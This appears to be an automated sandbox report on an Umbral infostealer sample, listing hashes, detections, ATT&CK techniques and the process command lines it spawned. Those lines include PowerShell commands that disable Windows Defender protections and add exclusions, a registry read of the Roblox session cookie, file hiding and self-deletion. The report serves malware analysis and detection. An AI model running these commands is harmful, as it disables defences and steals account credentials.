umbral | 319e8877d90fd746f2d47b0f713d1bd594c1b5973b4ffd8e03f881509964db5d

General

Target

Omoforia.exe
Size

216KB
MD5

512441160e210a7696cc24bb5b07ebab
SHA1

ce8d0012808448dc249b6376a715e16400b7ead4
SHA256

319e8877d90fd746f2d47b0f713d1bd594c1b5973b4ffd8e03f881509964db5d
SHA512

4a60c13bbdaf63b4dd64706d9278e6a3a4b59c43ec8482fbcdbd1075af355f34ea45e9b57f31718dd8c7f1f9328fa3cbf132e2080dc16a245335fb71c3952146
SSDEEP

3072:JmpcjvqySgPAb+D9Cocawot18PeXdJBJg3plgsLSl8eN7s8m+XPcGTSYW:0cWoPAiRrt18aPJei8eNY8mWpS

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2856-1-0x0000011DB9300000-0x0000011DB933C000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2092 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

20 discord.com
21 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

7 ip-api.com
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

2836 wmic.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2528 PING.EXE

pid	process
2092	powershell.exe

flow	ioc
20	discord.com
21	discord.com

flow	ioc
7	ip-api.com

pid	process
2836	wmic.exe

pid	process
2528	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

Omoforia.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2856	Omoforia.exe
2092	powershell.exe
2092	powershell.exe
3972	powershell.exe
3972	powershell.exe
4704	powershell.exe
4704	powershell.exe
748	powershell.exe
748	powershell.exe
1228	powershell.exe
1228	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Omoforia.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2856	Omoforia.exe
Token: SeIncreaseQuotaPrivilege	2904	wmic.exe
Token: SeSecurityPrivilege	2904	wmic.exe
Token: SeTakeOwnershipPrivilege	2904	wmic.exe
Token: SeLoadDriverPrivilege	2904	wmic.exe
Token: SeSystemProfilePrivilege	2904	wmic.exe
Token: SeSystemtimePrivilege	2904	wmic.exe
Token: SeProfSingleProcessPrivilege	2904	wmic.exe
Token: SeIncBasePriorityPrivilege	2904	wmic.exe
Token: SeCreatePagefilePrivilege	2904	wmic.exe
Token: SeBackupPrivilege	2904	wmic.exe
Token: SeRestorePrivilege	2904	wmic.exe
Token: SeShutdownPrivilege	2904	wmic.exe
Token: SeDebugPrivilege	2904	wmic.exe
Token: SeSystemEnvironmentPrivilege	2904	wmic.exe
Token: SeRemoteShutdownPrivilege	2904	wmic.exe
Token: SeUndockPrivilege	2904	wmic.exe
Token: SeManageVolumePrivilege	2904	wmic.exe
Token: 33	2904	wmic.exe
Token: 34	2904	wmic.exe
Token: 35	2904	wmic.exe
Token: 36	2904	wmic.exe
Token: SeIncreaseQuotaPrivilege	2904	wmic.exe
Token: SeSecurityPrivilege	2904	wmic.exe
Token: SeTakeOwnershipPrivilege	2904	wmic.exe
Token: SeLoadDriverPrivilege	2904	wmic.exe
Token: SeSystemProfilePrivilege	2904	wmic.exe
Token: SeSystemtimePrivilege	2904	wmic.exe
Token: SeProfSingleProcessPrivilege	2904	wmic.exe
Token: SeIncBasePriorityPrivilege	2904	wmic.exe
Token: SeCreatePagefilePrivilege	2904	wmic.exe
Token: SeBackupPrivilege	2904	wmic.exe
Token: SeRestorePrivilege	2904	wmic.exe
Token: SeShutdownPrivilege	2904	wmic.exe
Token: SeDebugPrivilege	2904	wmic.exe
Token: SeSystemEnvironmentPrivilege	2904	wmic.exe
Token: SeRemoteShutdownPrivilege	2904	wmic.exe
Token: SeUndockPrivilege	2904	wmic.exe
Token: SeManageVolumePrivilege	2904	wmic.exe
Token: 33	2904	wmic.exe
Token: 34	2904	wmic.exe
Token: 35	2904	wmic.exe
Token: 36	2904	wmic.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeIncreaseQuotaPrivilege	3292	wmic.exe
Token: SeSecurityPrivilege	3292	wmic.exe
Token: SeTakeOwnershipPrivilege	3292	wmic.exe
Token: SeLoadDriverPrivilege	3292	wmic.exe
Token: SeSystemProfilePrivilege	3292	wmic.exe
Token: SeSystemtimePrivilege	3292	wmic.exe
Token: SeProfSingleProcessPrivilege	3292	wmic.exe
Token: SeIncBasePriorityPrivilege	3292	wmic.exe
Token: SeCreatePagefilePrivilege	3292	wmic.exe
Token: SeBackupPrivilege	3292	wmic.exe
Token: SeRestorePrivilege	3292	wmic.exe
Token: SeShutdownPrivilege	3292	wmic.exe
Token: SeDebugPrivilege	3292	wmic.exe
Token: SeSystemEnvironmentPrivilege	3292	wmic.exe
Token: SeRemoteShutdownPrivilege	3292	wmic.exe
Token: SeUndockPrivilege	3292	wmic.exe
Token: SeManageVolumePrivilege	3292	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

Omoforia.execmd.exe

description	pid	process	target process
PID 2856 wrote to memory of 2904	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 2904	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 3660	2856	Omoforia.exe	attrib.exe
PID 2856 wrote to memory of 3660	2856	Omoforia.exe	attrib.exe
PID 2856 wrote to memory of 2092	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 2092	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 3972	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 3972	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 4704	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 4704	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 748	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 748	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 3292	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 3292	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 4856	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 4856	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 1752	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 1752	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 1228	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 1228	2856	Omoforia.exe	powershell.exe
PID 2856 wrote to memory of 2836	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 2836	2856	Omoforia.exe	wmic.exe
PID 2856 wrote to memory of 2364	2856	Omoforia.exe	cmd.exe
PID 2856 wrote to memory of 2364	2856	Omoforia.exe	cmd.exe
PID 2364 wrote to memory of 2528	2364	cmd.exe	PING.EXE
PID 2364 wrote to memory of 2528	2364	cmd.exe	PING.EXE

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3660 attrib.exe

pid	process
3660	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Omoforia.exe
"C:\Users\Admin\AppData\Local\Temp\Omoforia.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2904

C:\Windows\SYSTEM32\attrib.exe
"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Omoforia.exe"
2⤵
- Views/modifies file attributes
PID:3660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Omoforia.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:748

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3292

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" computersystem get totalphysicalmemory
2⤵
PID:4856

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
2⤵
PID:1752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1228

C:\Windows\System32\Wbem\wmic.exe
"wmic" path win32_VideoController get name
2⤵
- Detects videocard installed
PID:2836

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Omoforia.exe" && pause
2⤵
- Suspicious use of WriteProcessMemory
PID:2364

C:\Windows\system32\PING.EXE
ping localhost
3⤵
- Runs ping.exe
PID:2528

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
440cb38dbee06645cc8b74d51f6e5f71

SHA1
d7e61da91dc4502e9ae83281b88c1e48584edb7c

SHA256
8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

SHA512
3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
c493263bea895bb9204bea923c7ec4d7

SHA1
5ca8c342d7dea33a8da8dd3218e16ee77a8f4231

SHA256
49f79e04b40ef149868dfb4526f6d33bf43a33f85d350f710fd99320f59b78d1

SHA512
b0238cd51a8284168447ec5ab93b1b3d88cfa3f23225551c1ed6551a72dd72aaed970760d2cea8cd34582f9b56f3cdb3c3dc027f28896f4b111b06332796f6bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
948B

MD5
efe05055dc30f1da03bd1653594f8b0a

SHA1
8650a67ec9d1b8eed7caa4e4c86ebb8531bc7ba2

SHA256
10b3d946f07601b28c5cd6ee36fd0fffb41f3d96094a478d088ce30ebf9a694d

SHA512
5096856b34336cafbd2ee4dc4709bfa39c8794d8fc42777a460b79d52482b699013f237dfee2ecaf2b21487cc933b807bc5bad9b81f7070ba0dc4f6efcfa2f36

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
ac057a92f4b62d8880169af0693ef5b2

SHA1
66e7c7834c5dae5cec863ccd69403150d05841f4

SHA256
7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed

SHA512
d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxntlzc1.p4o.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2092-4-0x00007FF815840000-0x00007FF816301000-memory.dmp

Filesize
10.8MB

Download
memory/2092-5-0x00007FF815840000-0x00007FF816301000-memory.dmp

Filesize
10.8MB

Download
memory/2092-15-0x0000023144CA0000-0x0000023144CC2000-memory.dmp

Filesize
136KB

Download
memory/2092-18-0x00007FF815840000-0x00007FF816301000-memory.dmp

Filesize
10.8MB

Download
memory/2092-3-0x00007FF815840000-0x00007FF816301000-memory.dmp

Filesize
10.8MB

Download
memory/2856-33-0x0000011DD39D0000-0x0000011DD3A20000-memory.dmp

Filesize
320KB

Download
memory/2856-32-0x0000011DD3A20000-0x0000011DD3A96000-memory.dmp

Filesize
472KB

Download
memory/2856-34-0x0000011DD39A0000-0x0000011DD39BE000-memory.dmp

Filesize
120KB

Download
memory/2856-1-0x0000011DB9300000-0x0000011DB933C000-memory.dmp

Filesize
240KB

Download
memory/2856-0-0x00007FF815843000-0x00007FF815845000-memory.dmp

Filesize
8KB

Download
memory/2856-70-0x0000011DD3C60000-0x0000011DD3C6A000-memory.dmp

Filesize
40KB

Download
memory/2856-71-0x0000011DD3DB0000-0x0000011DD3DC2000-memory.dmp

Filesize
72KB

Download
memory/2856-2-0x00007FF815840000-0x00007FF816301000-memory.dmp

Filesize
10.8MB

Download
memory/2856-89-0x0000011DD3AA0000-0x0000011DD3C49000-memory.dmp

Filesize
1.7MB

Download
memory/2856-90-0x00007FF815840000-0x00007FF816301000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads